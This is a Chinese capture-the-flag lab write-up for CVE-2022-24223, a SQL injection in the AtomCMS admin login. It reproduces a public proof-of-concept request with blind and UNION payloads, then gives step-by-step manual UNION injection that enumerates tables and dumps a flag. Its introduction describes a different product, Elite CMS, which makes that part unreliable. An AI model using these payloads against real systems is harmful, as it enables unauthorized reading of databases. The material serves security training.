春秋云镜 CVE-2022-24223 AtomCMS SQL注入漏洞
靶标介绍
Elite Graphix Elite Cms是印度Elite Graphix公司的一个用 Php 语言编写的 Web 内容管理;用于存储和组织信息和文档的平台;Elite Graphix Elite Cms 存在SQL注入漏洞,该漏洞源于基于数据库的应用缺少对外部输入SQL语句的验证。攻击者可利用该漏洞执行非法SQL命令。漏洞位置位于
/admin/login.php 。
启动场景
漏洞利用
网上找的poc
# Exploit Title: AtomCMS v2.0 - SQLi
# Date: 08/02/2022
# Exploit Author: Luca Cuzzolin aka czz78
# Vendor Homepage: https://github.com/thedigicraft/Atom.CMS
# Version: v2.0
# Category: Webapps
# Tested on: Debian linux
# CVE : CVE-2022-24223
====================================================
# PoC : SQLi :
http://127.0.0.1/Atom.CMS/admin/login.php
POST /Atom.CMS/admin/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/Atom.CMS/admin/login.php
Cookie: PHPSESSID=tqfebdu4kn9qj7g6qpa91j9859
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
email=test%40test.com&password=1234
Vulnerable Payload :
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=test@test.com' AND (SELECT 5613 FROM
(SELECT(SLEEP(5)))JnLZ) AND 'pROE'='pROE&password=1234
Vector: AND (SELECT [RANDNUM] FROM
(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: email=test@test.com' UNION ALL SELECT
NULL,CONCAT(0x717a767a71,0x65557a784e446152424b63724b5a737062464a4267746c70794d5976484c484a5365634158734975,0x71627a7871),NULL,NULL,NULL,NULL--
-&password=1234
Vector: UNION ALL SELECT NULL,[QUERY],NULL,NULL,NULL,NULL-- -
---
可以看出/admin/login.php路径下email参数存在注入,尝试手注,order by 11 --+无回显,尝试fuzz字段
email=111@111.com’order by 11 --+&password=1234
email=111@111.com’union select null,null,null,null,null,null --+&password=1234
fuzz有6列,尝试回显点位
mail=111@111.com’union select 1,null,null,null,null,null --+&password=1234
email=111@111.com’union select null,2,null,null,null,null --+&password=1234
email=111@111.com’union select null,2,3,null,null,null --+&password=1234
发现回显点位为2,3,获取当前用户和当前数据库
email=111@111.com’union select null,user(),database(),null,null,null --+&password=1234
获取atomcms数据库的表
email=111@111.com’union select null,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘atomcms’),null,null,null --+&password=1234
获取flag
email=111@111.com’union select null,2,((select group_concat(flag)from flag)),null,null,null --+&password=1234
得到flag
flag{a1b6aa52-2712-4e87-88a2-cc834a9b19ba}